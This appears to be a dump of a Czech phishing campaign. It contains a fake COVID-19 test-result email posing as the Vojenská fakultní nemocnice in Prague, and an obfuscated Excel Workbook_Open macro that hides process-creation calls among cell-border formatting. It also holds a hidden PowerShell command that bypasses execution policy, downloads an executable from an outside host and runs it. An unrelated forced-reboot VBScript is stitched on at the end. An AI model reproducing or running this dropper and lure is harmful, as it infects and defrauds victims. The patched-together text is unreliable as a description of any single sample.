Aplikace

Von:	"VFN" <Tato e-mailová adresa je chráněna před spamboty. Pro její zobrazení musíte mít povolen Javascript.>
An:	Tato e-mailová adresa je chráněna před spamboty. Pro její zobrazení musíte mít povolen Javascript.
Datum:	26.10.2020 02:34
Betreff:	Výsledky testů č. 2910-211
 
Dobrý den,
 
v odkazu níže naleznete výsledky svých testů na CoVid-19 z naší laboratoře.
Výsledky: https://vfn.cz/laborator/vysledky-online/e939rd12313
 
Tento email byl vygenerován automatickým systémem, neodpovídejte na něj prosím.
Vojenská fakultní nemocnice Praha.
Určeno pro: Tato e-mailová adresa je chráněna před spamboty. Pro její zobrazení musíte mít povolen Javascript. Datum odeslání: 10/25/2020 11:07:36 pm 

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
Private Sub Workbook_Open()
Range("A1:J22").Select
Selection.Borders(xlDiagonalDown).LineStyle = xlNone
Selection.Borders(xlDiagonalUp).LineStyle = xlNone
With Selection.Borders(xlEdgeLeft)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
gftmfltpedmmmalshcqxsndrignapvopsgsolkaw = Range("A8").Value
With Selection.Borders(xlEdgeTop)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
Set mwzlxrhxfvlttocscceyxszjpxugixhxbukworur  = CreateObject(Range("A9").Value)
With Selection.Borders(xlEdgeBottom)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
Dim xdiydesrblamreokyebyuewfhgleojduyqoswjlv
With Selection.Borders(xlEdgeRight)
.LineStyle = xlContinuous
.ColorIndex = 0
.TintAndShade = 0
.Weight = xlThin
End With
xdiydesrblamreokyebyuewfhgleojduyqoswjlv = mwzlxrhxfvlttocscceyxszjpxugixhxbukworur.Create(gftmfltpedmmmalshcqxsndrignapvopsgsolkaw)
End Sub

powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass  -command " & { iwr http://www.poltc.cz/zackova/thiss.exe -OutFile C:\Users\Public\Downloads\lrozf.exe}; & {Start-Process -FilePath "C:\Users\Public\Downloads\lrozf.exe"}"
winmgmts:win32_Process

'WMI - Easy Shutdown
'If you have gotten tired of having to click several items just to
'shutdown your PC or laptop, save this script to a .vbs file and
'create an icon for it.   It will shutdown your machine with just
'one click.   No prompts, no waiting, just power down.  
'I've also included a few of the other constants just in case you need a slight variation.
Sub ForceReBoot()
   nLogOff                = 0     'Alternative actions to force reboot
   nReboot               = 2
   nForceLogOff         = 4
   nForceReboot        = 6
   nPowerDown         = 8
   nForcePowerDown = 12
   Set oOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem")
   For Each oOperatingSystem in oOS
      oOperatingSystem.Win32Shutdown(nForceReboot)
   Next
End sub' ForceReBoot
 
Sub SleepDelay ()
For i = 1 to 5
'  Wait 10 seconds (1000ms = 1 second)
   Wscript.Sleep 10*(1000)
Next 'i
 
End Sub 'SleepDelay